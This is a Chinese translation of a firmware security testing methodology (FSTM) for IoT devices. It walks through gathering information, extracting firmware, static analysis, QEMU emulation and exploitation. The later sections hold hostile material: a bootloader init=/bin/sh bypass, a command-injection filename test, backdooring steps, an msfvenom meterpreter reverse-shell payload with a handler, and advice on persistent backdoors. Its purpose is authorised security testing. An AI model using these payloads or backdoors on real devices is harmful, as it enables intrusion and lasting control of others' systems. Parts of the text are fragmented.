原文地址
固件安全评估,英文名称firmware security testing methodology简称FSTM。该指导方法主要是为了安全研究人员、软件开发人员、顾问、爱好者和信息安全专业人员进行固件安全评估。
我们基于FSTM进行测试流程如下:
ID | 阶段 | 描述 |
---|---|---|
1 | 信息收集 | 固件的相关技术文档的详细使用说明 |
2 | 获取固件 | 使用本文中介绍的多种办法获取固件 |
3 | 分析固件 | 固件的功能、特性 |
4 | 提取文件系统 | 从固件中获取文件系统 |
5 | 分析文件系统内容 | 静态分析提取的文件系统的配置文件和二进制文件中的漏洞 |
6 | 仿真固件 | 模拟固件文件和组件 |
7 | 动态分析 | 根据固件和应用程序接口进行动态测试 |
8 | 运行时分析 | 在设备运行时分析编译的二进制文件 |
9 | 二进制利用 | 利用上述手段发现的漏洞实现命令执行 |
可搜集与固件相关如下基础信息:
搜集方法:
OSINT:Open source intelligence
)技术手段来获取数据在搜集信息中遇到开源软件的处理方式:
获取如上信息后便可进行粗略的威胁建模:标识出可攻击功能点和影响范围,方便测试时进行漏洞点的贯穿使用。
Dropbox
、box
、Google drive
)根据二进制文件扩展名获取
MITM
)获取AWS
,全称Amazon Web Services S3 buckets
)下载构建版本UART
、JTAG
、PICit
等直接从硬件中提取U-boot
)转储到闪存或通过tftp的网络转储SPI
)或MCU
,以进行离线分析和数据提取flash/MCU
获取固件后需要分析其特征信息:固件文件类型、潜在的根文件元数据、编译基于的平台,使用binutils
分析过程如下:
file <bin>
strings
strings -n5 <bin>
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
若使用上述方法未提取出有用信息,可能由于以下原因:
Bare Metal
RTOS
)平台判断二进制文件是否是加密:
binwalk -E
,判断其熵
binvis
)
squashfs
, ubifs
, romfs
, rootfs
, jffs2
, yaffs2
, cramfs
, initramfs
为了分析固件内部相关文件系统数据、未编译代码和设备配置,需使用以下手动和自动方法提取固件文件系统:
hexdump
和grep
等工具搜索特征信息
"hsqs"
字符串,hexdump -C binary | grep -i 'hsqs'
dd if=binary bs=1 skip=92588 of=rt-n300-fs
unsquashfs
查看整个文件系统binwalk -ev
,提取出的文件保存:_binaryname/filesystemtype/
;
若是文件的标头没有魔术字节 ,需使用binwalk
查找文件系统的偏移量,然后从二进制文件中分割压缩的文件系统,最后再手动提取出来。
dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs # or
dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
For squashfs:
unsquashfs dir.squashfs
CPIO archive files:
cpio -ivd --no-absolute-filenames -F <bin>
For jffs2 filesystems:
jefferson rootfsfile.jffs2
For ubifs filesystems with NAND flash:
ubireader_extract_images -u UBI -s <start_offset> <bin>、ubidump.py <bin>
静态分析文件系统可从如下方面入手:
firmwalker
分析内容范围如下:
自动固件分析工具:firmwalker
,Aaron Guzman
在原生代码基础上添加了一些其他的检查,可参照firmwalker。
firmwalk
分析文件系统需使用绝对路径:
./firmwalker.sh /home/embedos/firmware/_IoTGoat-rpi-2.img.extracted/squashfs-root/
分析结果存储在/data/
目录下的两个文件:firmwalker.txt
和firmwalkerappsec.txt
,需手动检查这些文件。
FACT固件分析比较工具包分析内容如下:
NX
, DEP
, ASLR
, stack canaries
, RELRO
, FORTIFY_SOURCE
cd ~/tools/FACT_core
sudo ./start_all_installed_fact_components
将固件上传到FACT进行分析(可以将带有文件系统的完整固件)
二进制文件选取及分析内容:可以选择从FACT获取的可疑内容,或针对漏洞利用点进行查找分析,如:
system()
或类似函数调用等。分析二进制文件的常见功能点
Stack canaries
(堆栈保护机制)readelf -aW bin/*| grep stack_chk_fail
mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail
是否启用Position-independent executable(PIE)
地址无关可执行文件
readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'
readelf -h <bin> | grep 'Type:[[:space:]]*DYN'
DSO(dynamic shared object)动态共享目标文件
readelf -d <bin> | grep -q 'DEBUG'
readelf --syms <bin>
nm <bin>
readelf -lW bin/<bin>| grep STACK判断堆栈是否可执行,E 代表可执行:GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
判断堆栈是否可执行,E
代表可执行:GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
execstack bin/*
bin/ash
bin/busybox
RELRO(RELocation Read-Only,只读重定位)(一种用于加强对二进制数据段的保护技术)配置
readelf -d binary | grep BIND_NOW
readelf -d binary | grep GNU_RELRO
自动检查上述二进制属性的脚本checksec.sh,如下示例:
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
对于Microsoft二进制文件(EXE、DLL),使用PESecurity检查ASLR
,DEP
,SafeSEH
,StrongNaming
,Authenticode
,Control Flow Guard
和HighEntropyVA
。
为了确定及验证上面的详细信息、线索、潜在的漏洞,必需模拟固件及其封装的二进制文件。
如下列出仿真固件的方法:
user mode
)— 仿真从固件提取的文件系统中的二进制文件:/usr/bin/shellback
NVRAM
启动配置user mode
或system mode
可能无法仿真固件成功。在这种情况下,可以将根文件系统或特定二进制文件传输到与目标固件的架构和字节序匹配的物理设备中进行测试,除了物理设备外,也可以使用与目标固件相同体系结构或字节序的预构件虚拟机。获取目标的CPU架构和字节序,然后选择适当的QEMU仿真二进制文件
binwalk -Y <bin>
readelf -h <bin>
el
代表:little endian
,eb
代表:big endian
字节序的获取:
binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
确定了CPU的体系结构和字节序后,找适用的QEMU二进制文件来执行部分仿真(从文件系统中提取出的二进制文件)
/usr/local/qemu-arch
或/usr/bin/qemu-arch
cd /home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
cp /usr/bin/qemu-arm-static .
sudo chroot . ./qemu-arch <binarytoemulate>
Example:
sudo chroot . ./qemu-arm-static bin/busybox ls
sudo chroot . ./qemu-arm-static usr/bin/shellback
sudo lsof -i :5515
nc -nv 127.0.0.1 5515
sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="POST" -E REQUEST_URI=<request_uri> -E REMOTE_ADDR=<ip_addr> -E HTTP_COOKIE=<custom_cookie> -g <port> <path to cgi binary>
通过上述手段模拟了目标二进制文件,可以使用其应用程序和网络接口,与其进行交互。
使用自动化工具来进行固件的完整仿真
自动化工具:firmadyne
、固件分析工具包、ARM-X 固件仿真框架,这些工具实质上是 QEMU 和其他环境功能(如:nvram)的包装器。
需注意:固件中包含不常见的压缩文件系统或不支持的体系结构,可能需要修改这些工具
设备在正常运行或者在仿真环境中运行中的动态测试,此阶段的测试可能会由于项目和访问级别有所差异。
分析手段:
修改设备的引导加载程序时,可以进行如下操作:
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
FILENAME
为a";/bin/sh;#
,来测试设备启动过程的输入验证尝试上传自定义固件或编译过的二进制文件,来检测完整性或签名验证漏洞。
可设置后门点:启动脚本引用、某些链接、依赖不受信任的安装位置(如:SD 卡)或用位于根文件系统外部存储数据的flash的代码时触发。
使用以下步骤编译在启动中的后门 shell :
FMK:firmware-tool-kit
)提取固件/usr/bin
中QEMU
二进制文件复制到固件rootfs若在动态分析后,通过操纵引导加载程序或其他的硬件安全测试手段获得了root shell,尝试执行预编译恶意二进制文件(即在二进制文件中植入程序或反向shell),可通过使用自动化的有效载荷或工具(C&C)框架进行命令执行和控制,比如使用Metasploit框架和 msfvenom,如下是操作步骤:
msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #attacker host IP
set LPORT 445 #can be any unused port
set ExitOnSession false
exploit -j -z
最后,尽可能的在启动脚本中设置对设备持久访问的后门,保证重新启动后也有设备的访问控制权
设备在正常运行或在仿真环境中运行时,对正在运行的进程或二进制文件进行调试。如下是分析步骤:
sudo chroot . ./qemu-arch -L -g
memcpy
, strncpy
, strcmp
等一些可能使用的工具:
通过上面阶段的测试识别出漏洞之后,需使用PoC在真实环境中进行验证。编写漏洞利用代码需要掌握低级语言(如:ASM、C/C++、shellcode等)的编程及了解一些目标体系结构(如:MIPS、ARM、x86等)。
在遇到二进制缓解(保护)机制(eg:NX、DEP、ASLR等)时,需要其他技术进行恶意攻击,比如:
相关方面知识可参考文档: